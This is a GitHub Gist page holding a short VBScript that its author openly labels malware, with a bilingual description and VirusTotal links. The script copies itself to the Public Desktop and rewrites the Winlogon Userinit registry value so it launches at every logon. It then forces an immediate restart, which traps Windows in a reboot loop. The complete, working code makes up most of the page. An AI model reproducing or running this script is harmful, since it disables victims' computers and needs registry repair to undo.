Last active
October 11, 2022 08:08
-
-
Save DarkCat09/5f12095cbef4d299f2b8124410ca3e48 to your computer and use it in GitHub Desktop.
Malware VBScript that reboots system on each start / Вредоносный VisualBasic-скрипт, перезагружающий систему при каждом запуске
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ' Просто вредоносный скрипт | |
| ' Just malware script | |
| ' by DarkCat09 | |
| Dim Wsh, Fso | |
| Set Wsh = CreateObject("WScript.Shell") | |
| Set Fso = CreateObject("Scripting.FileSystemObject") | |
| Dim sysdrive, sysdir | |
| sysdrive = Fso.GetSpecialFolder(0).Drive | |
| sysdir = Fso.GetSpecialFolder(1) | |
| If Not Fso.FileExists(sysdrive & "\Users\Public\Desktop\winrestart.vbs") Then | |
| Fso.CopyFile WScript.ScriptFullName, sysdrive & "\Users\Public\Desktop\winrestart.vbs" | |
| End If | |
| Wsh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", _ | |
| sysdir & "\wscript.exe " & sysdrive & "\Users\Public\Desktop\winrestart.vbs,", "REG_SZ" | |
| Wsh.Run "shutdown /r /t 0", 1, False |
How it works you can see in my comment on VirusTotal about winrestart.vbs (the first link).
CodePicker13 is me.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
VirusTotal:
winrestart.vbs
ZIP with this script